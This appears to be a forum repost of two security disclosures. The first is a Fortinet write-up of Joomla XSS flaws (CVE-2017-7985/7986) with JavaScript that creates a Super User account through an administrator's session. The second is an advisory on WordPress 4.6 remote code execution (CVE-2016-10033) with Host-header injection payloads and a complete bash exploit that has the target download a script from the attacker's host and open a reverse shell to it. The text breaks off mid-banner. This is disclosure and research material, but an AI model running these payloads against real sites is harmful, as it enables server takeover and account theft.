affect Joomla! versions 1.5.0 through 3.6.5. They exist because these versions of Joomla! fail to sanitize malicious user input when users post or edit an article. Remote attacker could exploit them to run malicious code in victims’ browser, potentially allowing the attacker to gain control of the victim’s Joomla! account. If the victim has higher permission, like system administrator, the remote attacker could gain full control of the web server. In this blog, I will share the details of these vulnerabilities. Background Joomla! has its own XSS filters. For example, a user with post permission is not allowed to use full HTML elements. When this user posts an article with HTML attributes, Joomla! will sterilize dangerous code like “javascript:alert()”, “background:url()” and so on. Joomla! has two ways to achieve this sterilization. On the client side, it uses the editor called “TinyMCE.” On the server side, it sanitizes the request before storing it on the server. Analysis To demonstrate these vulnerabilities, the test account ‘yzy1’ is created. It has author permission, which is not allowed to use full HTML elements. To bypass the client side sterilization, the attacker can use a network intercept tool like Burp Suite or just change the default editor to other Joomla! built-in editors, like CoodeMirror or None, as shown in Figure 1. Figure 1. Bypassing the client side XSS filter On the server side, I found two ways to bypass the XSS filters. They are identified as CVE-2017-7985 and CVE-2017-7986. CVE-2017-7985 The Joomla! server side XSS filter sterilizes dangerous code and saves the safe characters. For example, when we post the following code with the test account, Joomla! sterilizes it by double quoting the , deleting the , and adding safe links to the URLs, as shown in Figure 2. Figure 2. Joomla! XSS filter But an attacker could take advantage of the filter by trying to let the filter to reconstruct the code and rebuild the scripts. For example, we can add the code Note that the double quote in is the CORRECT DOUBLE QUOTATION MARK, as shown in Figure 3. Figure 3. Inserting the PoC for CVE-2017-7985 When victims access the post, regardless of whether it’s published or not, the inserted XSS code will be triggered in both the main page and the administrator page, as shown in Figures 4 and 5. Figure 4. CVE-2017-7985 PoC triggered in the home page Figure 5. CVE-2017-7985 PoC triggered in the administrator page CVE-2017-7986 When posting an article, the attacker could bypass the XSS filter in an HTML tag by changing the script from to , because the is the mark “:” in HTML format. The attacker could then trigger this script code by adding a tag. For example, the attacker can insert the following code in an article , as shown in Figure 6. Figure 6. Insert the PoC for CVE-2017-7986 When victims access the post, regardless of whether it’s published or not, and click the “Click Me” button, the inserted XSS code will be triggered in both the main page and the administrator page, as shown in Figures 7 and 8. Figure 7. CVE-2017-7986 PoC triggered in home page Figure 8. CVE-2017-7986 PoC triggered in administrator page Exploit Here I provide an exploit example for CVE-2017-7986 that allows an attacker with a low permission account to create a Super User account and upload a web shell. To achieve this, I will write a small piece of JavaScript code for creating a Super User account by using the site administrator’s permission. It first obtains the CSRF token from the user edit page , and then posts the Super User account creation request to the server with the stolen CSRF token. The new Super User will be ‘Fortinet Yzy’ with the password ‘test’. var request = new XMLHttpRequest(); var req = new XMLHttpRequest(); var id = ''; var boundary = Math.random().toString().substr(2); var space = "-----------------------------"; request.open('GET', 'index.php?option=com_users&view=user&layout=edit', true); request.onload = function() { if (request.status >= 200 && request.status < 400) { var resp = request.responseText; var myRegex = /<input type="hidden" name="([a-z0-9]+)" value="1" \/>/; id = myRegex.exec(resp)[1]; req.open('POST', 'index.php?option=com_users&layout=edit&id=0', true); req.setRequestHeader("content-type", "multipart/form-data; boundary=---------------------------" + boundary); var multipart = space + boundary + "\r\nContent-Disposition: form-data; name=\"jform[name]\"" + "\r\n\r\nFortinet Yzy\r\n" + space + boundary + "\r\nContent-Disposition: form-data; name=\"jform[username]\"" + "\r\n\r\nfortinetyzy\r\n" + space + boundary + "\r\nContent-Disposition: form-data; name=\"jform[password]\"" + "\r\n\r\ntest\r\n" + space + boundary + "\r\nContent-Disposition: form-data; name=\"jform[password2]\"" + "\r\n\r\ntest\r\n" + space + boundary + "\r\nContent-Disposition: form-data; name=\"jform[email]\"" + "\r\n\r\nzyg@gmail.com\r\n" + space + boundary + "\r\nContent-Disposition: form-data; name=\"jform[registerDate]\"" + "\r\n\r\n\r\n" + space + boundary + "\r\nContent-Disposition: form-data; name=\"jform[lastvisitDate]\"" + "\r\n\r\n\r\n" + space + boundary + "\r\nContent-Disposition: form-data; name=\"jform[lastResetTime]\"" + "\r\n\r\n\r\n" + space + boundary + "\r\nContent-Disposition: form-data; name=\"jform[resetCount]\"" + "\r\n\r\n0\r\n" + space + boundary + "\r\nContent-Disposition: form-data; name=\"jform[sendEmail]\"" + "\r\n\r\n0\r\n" + space + boundary + "\r\nContent-Disposition: form-data; name=\"jform[block]\"" + "\r\n\r\n0\r\n" + space + boundary + "\r\nContent-Disposition: form-data; name=\"jform[requireReset]\"" + "\r\n\r\n0\r\n" + space + boundary + "\r\nContent-Disposition: form-data; name=\"jform[id]\"" + "\r\n\r\n0\r\n" + space + boundary + "\r\nContent-Disposition: form-data; name=\"jform[groups][]\"" + "\r\n\r\n8\r\n" + space + boundary + "\r\nContent-Disposition: form-data; name=\"jform[params][admin_style]\"" + "\r\n\r\n\r\n" + space + boundary + "\r\nContent-Disposition: form-data; name=\"jform[params][admin_language]\"" + "\r\n\r\n\r\n" + space + boundary + "\r\nContent-Disposition: form-data; name=\"jform[params][language]\"" + "\r\n\r\n\r\n" + space + boundary + "\r\nContent-Disposition: form-data; name=\"jform[params][editor]\"" + "\r\n\r\n\r\n" + space + boundary + "\r\nContent-Disposition: form-data; name=\"jform[params][helpsite]\"" + "\r\n\r\n\r\n" + space + boundary + "\r\nContent-Disposition: form-data; name=\"jform[params][timezone]\"" + "\r\n\r\n\r\n" + space + boundary + "\r\nContent-Disposition: form-data; name=\"task\"" + "\r\n\r\nuser.apply\r\n" + space + boundary + "\r\nContent-Disposition: form-data; name=\"" + id + "\"" + "\r\n\r\n1\r\n" + space + boundary + "--\r\n"; req.onload = function() { if (req.status >= 200 && req.status < 400) { var resp = req.responseText; console.log(resp); } }; req.send(multipart); } }; request.send(); An attacker can add this code to Joomla! by exploiting this XSS vulnerability, as shown in Figure 9. Figure 9. Adding XSS code Once the site administrator triggers this XSS attack in the administrator page, a Super User account will be immediately created, as shown in Figures 10 and 11. Figure 10. Site administrator triggers the XSS attack in the administrator page Figure 11. A new Super User account is created by the attacker The attacker can then login to Joomla! using this new Super User permission and upload a web shell by installing a plugin, as shown in Figures 12 and 13. Figure 12. Uploading a web shell using the attacker’s Super User account Figure 13. Attacker accesses the web shell and executes commands Solution All users of Joomla! should upgrade to the latest version immediately. Additionally, organizations that have deployed Fortinet IPS solutions are already protected from these vulnerabilities with the signatures Joomla!.Core.Article.Post.Colon.Char.XSS and Joomla!.Core.Article.Post.Quote.Char.XSS. by Zhouyuan Yang | May 04, 2017 | Filed in: Security Research Sursa: https://blog.fortinet.com/2017/05/04/multiple-joomla-core-xss-vulnerabilities-are-discovered
-
- 1
-
-
============================================= - Discovered by: Dawid Golunski - dawid[at]legalhackers.com - https://legalhackers.com - CVE-2016-10033 - Release date: 03.05.2017 - Revision 1.0 - Severity: Critical ============================================= I. VULNERABILITY ------------------------- WordPress Core 4.6 - Unauthenticated Remote Code Execution (RCE) PoC Exploit (default configuration, no plugins, no auth) II. BACKGROUND ------------------------- "WordPress is a free and open-source content management system (CMS) based on PHP and MySQL. WordPress was used by more than 27.5% of the top 10 million websites as of February 2017. WordPress is reportedly the most popular website management or blogging system in use on the Web, supporting more than 60 million websites." https://en.wikipedia.org/wiki/WordPress III. INTRODUCTION ------------------------- This advisory reveals details of exploitation of the PHPMailer vulnerability (CVE-2016-10033) in WordPress Core which (contrary to what was believed and announced by WordPress security team) was affected by the vulnerability. The Remote Code Execution attack could be used by unauthenticated remote attackers to gain instant access to the target server on which a vulnerable WordPress core version was installed in its default configuration which could lead to a full compromise of the target application server. No plugins or non-standard settings are required to exploit the vulnerability. This advisory reveals new exploitation vectors for PHP mail() function discovered by the author that allow to exploit the vulnerability on a most popular MTA (Mail Transfer Agent) - Exim which can be found installed by default on many system such as Debian or Ubuntu, as opposed to rarely used Sendmail MTA that has been thought to be a requirement for mail() injection attacks to date. Due to critical severity of this vulnerability, disclosure of new exploitation vectors that increase the range of this type of attacks, and the ease of mass exploitation, the release of this advisory was delayed by an extended period of time to allow WordPress and other potentially affected software vendors enough time to update affected mail libraries. The release was also delayed to allow WordPress team more time for patching another WordPress vulnerability (CVE-2017-8295) which will be described in detail in a separate advisory shortly. IV. DESCRIPTION ------------------------- The following snippet of code from WordPress 4.6 - file wp-includes/pluggable.php: if ( !isset( $from_email ) ) { // Get the site domain and get rid of www. $sitename = strtolower( $_SERVER['SERVER_NAME'] ); if ( substr( $sitename, 0, 4 ) == 'www.' ) { $sitename = substr( $sitename, 4 ); } $from_email = 'wordpress@' . $sitename; } /** * Filters the name to associate with the "from" email address. * * @since 2.3.0 * * @param string $from_name Name associated with the "from" email address. */ $from_name = apply_filters( 'wp_mail_from_name', $from_name ); $phpmailer->setFrom( $from_email, $from_name ); shows that WordPress sets the email domain based on SERVER_NAME server header when WordPress wp_mail() function is called to send an email (e.g. upon user registration, forgotten password etc.). As we can see the from address is formed as follows: $from_email = 'wordpress@' . $sitename; It is then filtered and passed to a vulnerable setFrom() function of PHPMailer which was explained in detail in the previous advisories: https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html Injection ============== SERVER_NAME server header can be manipulated on default configurations of Apache Web server (most common WordPress deployment) via HOST header of a HTTP request. To illustrate, here is a request and response of a simple php script vars.php that simply prints out relevant parts of server headers ($_SERVER PHP array): GET /vars.php HTTP/1.1 Host: xenialINJECTION HTTP/1.1 200 OK Server: Apache Array ( [HTTP_HOST] => xenialINJECTION [SERVER_SOFTWARE] => Apache/2.4.18 (Ubuntu) [SERVER_NAME] => xenialinjection ... As we can see, INJECTION string appended to the hostname in HOST header gets copied to both HTTP_HOST and SERVER_NAME PHP variables. Using this HOST header example, if an attacker triggered wp_mail() function by using the forgotten password WordPress feature, the HTTP request would be similar to: POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenialINJECT Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 56 Cookie: wordpress_test_cookie=WP+Cookie+check Connection: close user_login=admin&redirect_to=&wp-submit=Get+New+Password and would result in the following parameters passed to /usr/sbin/sendmail : Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-fwordpress@xenialinject] What is interesting here is the 3rd parameter. The domain part of the email matches the HOST header of the request, except for lower-case "inject". Bypassing the filters ======================= To exploit the PHPMailer's mail() injection vulnerability, an attacker would have to be able to append parameters to the domain part. However, the filtration/validation in place (both on the wordpress side as well as PHPMailer library side) would prevent the attacker from injecting white-characters (such as space or TAB) and therefore from injecting parameters to sendmail binary. For example, if attacker modified the HOST header to the following: POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenialINJECT SPACE the validation would result in invalid domain part error and WordPress application would exit with http response of: HTTP/1.0 500 Internal Server Error In which case wp_mail() and therefore the vulnerable PHPMailer functions would never be reached (sendmail binary would not be executed). The validateAddress() function of PHPMailer library as well as PHP's filter_var/FILTER_VALIDATE_EMAIL are both complient with RFC 822 standard as we can read at: http://php.net/manual/en/filter.filters.validate.php which prohibits spaces in the domain part and thus prevents injection of additional parameters to /usr/sbin/sendmail. It should be noted that the technique of injecting additional \ backslash characters to the username part of the email presented in PHPMailer advisory: http://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html would not be an option for the attacker as username part of the from address cannot be controlled in this case. RFC 822 and comment syntax -------------- Looking at the RFC 822 specs however, a potential way to bypass the validation was found. According to: https://www.ietf.org/rfc/rfc822.txt email addresses can contain comments: " 3.4.3. COMMENTS A comment is a set of ASCII characters, which is enclosed in matching parentheses and which is not within a quoted-string The comment construct permits message originators to add text which will be useful for human readers, but which will be ignored by the formal semantics. Comments should be retained while the message is subject to interpretation according to this standard. However, comments must NOT be included in other cases, such as during protocol exchanges with mail servers. " The document gives an email example of with comments in brackets: ":sysmail"@ Some-Group. Some-Org, Muhammed.(I am the greatest) Ali @(the)Vegas.WBA as a valid email. A simplified comment example within the domain part would be: john@example.com(comment) After further testing, it turned out that comment part can contain spaces in the domain part, and could be used as a way to bypass the validation of the domain part and inject additional parameters to sendmail binary. Injecting parameters via comment syntax ---------------- The following request with the HOST header set to: POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenial(tmp1 injected tmp2) will not cause errors and will result in the following parameters supplied to sendmail : Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-fwordpress@xenial(tmp1] Arg no. 4 == [injected] Arg no. 5 == [tmp2)] As we can see, We have managed to bypass filters/validation provided by Wordpress filter: apply_filters( 'wp_mail_from_name', $from_name ); As well as PHPMailer's internal setFrom() validation. We now have control over the 4th parameter ('injected') and can inject more parameters inbeetwen arg no.3 and no.5 if necessary. In theory we should now be able to inject additional parameters to /usr/sbin/sendmail wrapper to achieve arbitrary code execution. Code Execution via Sendmail MTA ================================= To date, the only known way of achieving remote code execution via PHP mail() exploitation relied on Sendmail MTA being present on the target system. The most common Sendmail MTA vector is similar to: -OQueueDirectory=/tmp/ -X/var/www/html/backdoor.php It typically writes out a log file with a php backdoor contained within the input message. There are 2 problems with this technique however: 1) Sendmail MTA is not commonly used anymore as we can verify by looking at the statistics at: http://www.securityspace.com/s_survey/data/man.201703/mxsurvey.html which show that Sendmail is the least popular among Linux MTAs. It does not ship with any modern Linux distribution and it is not very likely for it to be found installed on a target. 2) The Sendmail technique presented above would not work in the case of the WordPress vulnerability discussed in this advisory. As previously mentioned, hostname copied to SERVER_NAME server variable gets converted into lower-case and therefore injecting Sendmail parameters in a request similar to: POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenial(tmp1 -O -X tmp2) would result in the follwing set of sendmail arguments: Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-fwordpress@xenial(tmp1] Arg no. 4 == [-o] Arg no. 5 == [-x] Arg no. 6 == [tmp2)] Sendmail would fail with an error as arguments are case-sensitive and neither -q nor -x would work. Code execution via Exim4 MTA ================================= While researching the other vulnerabilities in email sending libraries (see previously published advisories for PHPMailer, ZendMail, Swiftmailer), the author of this advisory discovered a new way to achieve command execution with the help of Exim MTA that was previously thought to be immune to mail() injection attacks. This technique has been documented in the white-paper : "Pwning PHP mail() function For Fun And Remote Code Execution" The ability to execute commands through Exim4 MTA opens up many possibilities in regards to exploitation not only of already disclosed vulnerabilities in PHPMailer and other email libraries, but also in regards to mail() function exploitation in general as Exim4 is the most popular MTA available by default on popular Linux distributions such as Debian. The survey confirms the popularity of exim: http://www.securityspace.com/s_survey/data/man.201703/mxsurvey.html This increases the chances of it being present on the remote target and is ideal for a reliable proof of concept exploit of the vulnerability presented in this advisory. Direct code execution with Exim4 MTA -------------------------------- The discovered Exim MTA vector, in its most basic form works in the following way: sendmail -be '${run{/bin/true}{true}{false}}' true The -be switch enables string expansion testing mode. The above expansion executes /bin/true and returns the value from the brackets based on the exit code. Similarly, the expansion: sendmail -be '${run{/bin/bash -c "id"}{yes}{no}}' would execute id command. Note: on systems with Exim4, /usr/sbin/sendmail is just a symlink: /usr/sbin/sendmail -> exim4 and has nothing to do with Sendmail MTA. Sendmail MTA is not required to be present on the system for the technique to work. What is very powerful about this vector is that command execution can be achieved in a reliable way directly through the $run expansion specified as an argument and does not require writing files to /var/www/html or guessing directory paths which is the case in already known Sendmail MTA vector. HOST header restrictions ---------------------------------- The seemingly simple Exim4 vector turned out to be tricky in practice since the presented above expansion string would not work within HOST header. A HTTP request similar to: POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenial(tmp1 slash/ -X tmp2) would be rejected by Apache webserver due to / (slash) character present within the HOST header. The $run function would not work without it as it requires a full path to the binary that is being executed (suggesting that exim4 uses exec() to run it and does not execute commands through system() ). Bypassing restrictions ============================== To bypass restriction of the HOST header several methods were attempted by studying available Exim expansion strings at: http://www.exim.org/exim-html-current/doc/html/spec_html/ch-string_expansions.html Embeded perl ---------------------- One of the expansions that was considered was: ${perl{foo}{argument1}{argument2} ... } however perl is not enabled by default on Exim and therefore would not make the exploit reliable. Encoding --------------------- The family of base64 and HEX encoding/decoding functions were tested but they did not seem to be supported by exim4 used for testing and would result in errors such as: sendmail -be '${base64d:QUI=}' Failed: unknown expansion operator "base64d" Substrings & Environment variables --------------------- Another idea was to use known environment variables in combination with substrings to extract forbidden slash character. For example, the PATH environment variable contains slash: PATH=/bin:/usr/bin and therefore was a good candidate. ${env{PATH}} could be used to retrieve the variable and when connected with $substring expansion, slash could be obtained as can be seen in the following command: sendmail -be '${substr{0}{1}{${env{PATH}}}}' / Unfortunately, this technique led to a dead-end as environment variables such as PATH when inserted within HOST header would be converted to lower-case and thus not work under Linux. Substrings & internal exim4 variables -------------------------------------- With trial and error, the following variable was found to work as expected: sendmail -be '${spool_directory}' /var/spool/exim4 The spool_directory variable is present by default, and does not have capital letters and therefore would work reliably. The slash character could now be replaced with: ${substr{0}{1}{$spool_directory}} to bypass the slash restriction of the HOST header. The following expansion: sendmail -be '${run{/usr/bin/touch /tmp/test}}' Could now be converted to: sendmail -be '${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch ${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}' This worked fine under terminal however when tested within a HTTP request: POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenial(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch ${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}} tmp2) it would result in the following sendmail parameters: Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-fwordpress@xenial(tmp1] Arg no. 4 == [-be] Arg no. 5 == [${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch] Arg no. 6 == [${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}] Arg no. 7 == [tmp2)] As we can see, the expansion payload got broken into 2 arguments 5 & 6 instead of one. This prevented Exim from executing the payload properly. The problem was caused by spaces between command parameters (e.g. space after 'touch') Replacing spaces ------------------ First the environment variable IFS was considered, however environment variables would not work properly as previously tested. After further research a convenient internal exim variable was found: sendmail -be '${tod_log}' 2016-01-02 23:49:42 the tod_log variable returns current date in format that contains a space. Similar to the slash replacement, $substring + $tod_log variable could be used to replace the space as was tested with: sendmail -be '${substr{10}{1}{$tod_log}}' PoC HTTP request / minimal PoC exploit ==================================== POST /wordpress/wp-login.php?action=lostpassword HTTP/1.1 Host: xenial(tmp1 -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}} tmp2) Content-Type: application/x-www-form-urlencoded Content-Length: 56 user_login=admin&redirect_to=&wp-submit=Get+New+Password The above request when sent to WordPress core application would cause exim to be called with the following arguments: Arg no. 0 == [/usr/sbin/sendmail] Arg no. 1 == [-t] Arg no. 2 == [-i] Arg no. 3 == [-fwordpress@xenial(tmp1] Arg no. 4 == [-be] Arg no. 5 == [${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}test}}] Arg no. 6 == [tmp2)] which would execute: /usr/bin/touch /tmp/test on the target and create a file /tmp/test as tested on WordPress 4.6. Using this payload logic a working exploit was built which executes a reverse shell on the target. V. PROOF OF CONCEPT EXPLOIT CODE ------------------------- #!/bin/bash # # __ __ __ __ __ # / / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________ # / / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/ # / /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ ) # /_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/ # /____/ # # # WordPress 4.6 - Remote Code Execution (RCE) PoC Exploit # CVE-2016-10033 # # wordpress-rce-exploit.sh (ver. 1.0) # # # Discovered and coded by # # Dawid Golunski (@dawid_golunski) # https://legalhackers.com # # ExploitBox project: # https://ExploitBox.io # # Full advisory URL: # https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html # # Exploit src URL: # https://exploitbox.io/exploit/wordpress-rce-exploit.sh # # # Tested on WordPress 4.6: # https://github.com/WordPress/WordPress/archive/4.6.zip # # Usage: # ./wordpress-rce-exploit.sh target-wordpress-url # # # Disclaimer: # For testing purposes only # # # ----------------------------------------------------------------- # # Interested in vulns/exploitation? # # # .;lc' # .,cdkkOOOko;. # .,lxxkkkkOOOO000Ol' # .':oxxxxxkkkkOOOO0000KK0x:' # .;ldxxxxxxxxkxl,.'lk0000KKKXXXKd;. # ':oxxxxxxxxxxo;. .:oOKKKXXXNNNNOl. # '';ldxxxxxdc,. ,oOXXXNNNXd;,. # .ddc;,,:c;. ,c: .cxxc:;:ox: # .dxxxxo, ., ,kMMM0:. ., .lxxxxx: # .dxxxxxc lW. oMMMMMMMK d0 .xxxxxx: # .dxxxxxc .0k.,KWMMMWNo :X: .xxxxxx: # .dxxxxxc .xN0xxxxxxxkXK, .xxxxxx: # .dxxxxxc lddOMMMMWd0MMMMKddd. .xxxxxx: # .dxxxxxc .cNMMMN.oMMMMx' .xxxxxx: # .dxxxxxc lKo;dNMN.oMM0;:Ok. 'xxxxxx: # .dxxxxxc ;Mc .lx.:o, Kl 'xxxxxx: # .dxxxxxdl;. ., .. .;cdxxxxxx: # .dxxxxxxxxxdc,. 'cdkkxxxxxxxx: # .':oxxxxxxxxxdl;. .;lxkkkkkxxxxdc,. # .;ldxxxxxxxxxdc, .cxkkkkkkkkkxd:. # .':oxxxxxxxxx.ckkkkkkkkxl,. # .,cdxxxxx.ckkkkkxc. # .':odx.ckxl,. # .,.'. # # https://ExploitBox.io # # https://twitter.com/Exploit_Box # # ----------------------------------------------------------------- rev_host="192.168.57.1" function prep_host_header() { cmd="$1" rce_cmd="\${run{$cmd}}"; # replace / with ${substr{0}{1}{$spool_directory}} #sed 's^/^${substr{0}{1}{$spool_directory}}^g' rce_cmd="`echo $rce_cmd | sed 's^/^\${substr{0}{1}{\$spool_directory}}^g'`" # replace ' ' (space) with #sed 's^ ^${substr{10}{1}{$tod_log}}$^g' rce_cmd="`echo $rce_cmd | sed 's^ ^\${substr{10}{1}{\$tod_log}}^g'`" #return "target(any -froot@localhost -be $rce_cmd null)" host_header="target(any -froot@localhost -be $rce_cmd null)" return 0 } #cat exploitbox.ans intro=" DQobWzBtIBtbMjFDG1sxOzM0bSAgICAuO2xjJw0KG1swbSAbWzIxQxtbMTszNG0uLGNka2tPT09r bzsuDQobWzBtICAgX19fX19fXxtbOEMbWzE7MzRtLiwgG1swbV9fX19fX19fG1s1Q19fX19fX19f G1s2Q19fX19fX18NCiAgIFwgIF9fXy9fIF9fX18gG1sxOzM0bScbWzBtX19fXBtbNkMvX19fX19c G1s2Q19fX19fX19cXyAgIF8vXw0KICAgLyAgXy8gICBcXCAgIFwvICAgLyAgIF9fLxtbNUMvLyAg IHwgIFxfX19fXy8vG1s3Q1wNCiAgL19fX19fX19fXz4+G1s2QzwgX18vICAvICAgIC8tXCBfX19f IC8bWzVDXCBfX19fX19fLw0KIBtbMTFDPF9fXy9cX19fPiAgICAvX19fX19fX18vICAgIC9fX19f X19fPg0KIBtbNkMbWzE7MzRtLmRkYzssLDpjOy4bWzlDG1swbSxjOhtbOUMbWzM0bS5jeHhjOjs6 b3g6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eG8sG1s1QxtbMG0uLCAgICxrTU1NMDouICAuLBtb NUMbWzM0bS5seHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1QxtbMG1sVy4gb01N TU1NTU1LICBkMBtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s1 QxtbMG0uMGsuLEtXTU1NV05vIDpYOhtbNUMbWzM0bS54eHh4eHg6DQobWzM3bSAbWzZDLhtbMTsz NG1keHh4eHhjG1s2QxtbMG0ueE4weHh4eHh4eGtYSywbWzZDG1szNG0ueHh4eHh4Og0KG1szN20g G1s2Qy4bWzE7MzRtZHh4eHh4YyAgICAbWzBtbGRkT01NTU1XZDBNTU1NS2RkZC4gICAbWzM0bS54 eHh4eHg6DQobWzM3bSAbWzZDG1sxOzM0bS5keHh4eHhjG1s2QxtbMG0uY05NTU1OLm9NTU1NeCcb WzZDG1szNG0ueHh4eHh4Og0KG1szN20gG1s2QxtbMTszNG0uZHh4eHh4YxtbNUMbWzBtbEtvO2RO TU4ub01NMDs6T2suICAgIBtbMzRtJ3h4eHh4eDoNChtbMzdtIBtbNkMbWzE7MzRtLmR4eHh4eGMg ICAgG1swbTtNYyAgIC5seC46bywgICAgS2wgICAgG1szNG0neHh4eHh4Og0KG1szN20gG1s2Qxtb MTszNG0uZHh4eHh4ZGw7LiAuLBtbMTVDG1swOzM0bS4uIC47Y2R4eHh4eHg6DQobWzM3bSAbWzZD G1sxOzM0bS5keHh4eCAbWzBtX19fX19fX18bWzEwQ19fX18gIF9fX19fIBtbMzRteHh4eHg6DQob WzM3bSAbWzdDG1sxOzM0bS4nOm94IBtbMG1cG1s2Qy9fIF9fX19fX19fXCAgIFwvICAgIC8gG1sz NG14eGMsLg0KG1szN20gG1sxMUMbWzE7MzRtLiAbWzBtLxtbNUMvICBcXBtbOEM+G1s3QzwgIBtb MzRteCwNChtbMzdtIBtbMTJDLxtbMTBDLyAgIHwgICAvICAgL1wgICAgXA0KIBtbMTJDXF9fX19f X19fXzxfX19fX19fPF9fX18+IFxfX19fPg0KIBtbMjFDG1sxOzM0bS4nOm9keC4bWzA7MzRtY2t4 bCwuDQobWzM3bSAbWzI1QxtbMTszNG0uLC4bWzA7MzRtJy4NChtbMzdtIA0K" intro2=" ICAgICAgICAgICAgICAgICAgIBtbNDRtfCBFeHBsb2l0Qm94LmlvIHwbWzBtCgobWzk0bSsgLS09 fBtbMG0gG1s5MW1Xb3JkcHJlc3MgQ29yZSAtIFVuYXV0aGVudGljYXRlZCBSQ0UgRXhwbG9pdBtb MG0gIBtbOTRtfBtbMG0KG1s5NG0rIC0tPXwbWzBtICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBtChtbOTRtKyAtLT18G1swbSAgICAgICAgICBE aXNjb3ZlcmVkICYgQ29kZWQgQnkgICAgICAgICAgICAgICAgG1s5NG18G1swbQobWzk0bSsgLS09 fBtbMG0gICAgICAgICAgICAgICAbWzk0bURhd2lkIEdvbHVuc2tpG1swbSAgICAgICAgICAgICAg ICAgIBtbOTRtfBtbMG0gChtbOTRtKyAtLT18G1swbSAgICAgICAgIBtbOTRtaHR0cHM6Ly9sZWdh bGhhY2tlcnMuY29tG1swbSAgICAgICAgICAgICAgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBt ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAbWzk0bXwbWzBt ChtbOTRtKyAtLT18G1swbSAiV2l0aCBHcmVhdCBQb3dlciBDb21lcyBHcmVhdCBSZXNwb25zaWJp bGl0eSIgG1s5NG18G1swbSAKG1s5NG0rIC0tPXwbWzBtICAgICAgICAqIEZvciB0ZXN0aW5nIHB1 cnBvc2VzIG9ubHkgKiAgICAgICAgICAbWzk0bXwbWzBtIAoKCg==" echo "$intro" | base64 -d echo "$intro2" | base64 -d if [ "$#" -ne 1 ]; then echo -e "Usage:\n$0 target-wordpress-url\n" exit 1 fi target="$1" echo -ne "\e[91m[*]\033[0m" read -p " Sure you want to get a shell on the target '$target' ? [y/N] " choice echo if [ "$choice" == "y" ]; then echo -e "\e[92m[*]\033[0m Guess I can't argue with that... Let's get started...\n" echo -e "\e[92m[+]\033[0m Connected to the target" # Serve payload/bash script on :80 RCE_exec_cmd="(sleep 3s && nohup bash -i >/dev/tcp/$rev_host/1337 0<&1 2>&1) &" echo "$RCE_exec_cmd" > rce.txt python -mSimpleHTTPServer 80 2>/dev/null >&2 & hpid=$! # Save payload on the target in /tmp/rce cmd="/usr/bin/curl -o/tmp/rce $rev_host/rce.txt" prep_host_header "$cmd" curl -H"Host: $host_header" -s -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword echo -e "\n\e[92m[+]\e[0m Payload sent successfully" # Execute payload (RCE_exec_cmd) on the target /bin/bash /tmp/rce cmd="/bin/bash /tmp/rce" prep_host_header "$cmd" curl -H"Host: $host_header" -d 'user_login=admin&wp-submit=Get+New+Password' $target/wp-login.php?action=lostpassword & echo -e "\n\e[92m[+]\033[0m Payload executed!" echo -e "\n\e[92m[*]\033[0m Waiting for the target to send us a \e[94mreverse shell\e[0m...\n" nc -vv -l 1337 echo else echo -e "\e[92m[+]\033[0m Responsible choice ;) Exiting.\n" exit 0 fi echo "Exiting..." exit 0 Video PoC ~~~~~~~~~~~~ https://www.youtube.com/watch?v=ZFt_S5pQPX0 Example run ~~~~~~~~~~~~~~~ # ./wordpress-rce-exploit.sh http://wp-host/wordpress/ .;lc' .,cdkkOOOko;. _______ ., ________ 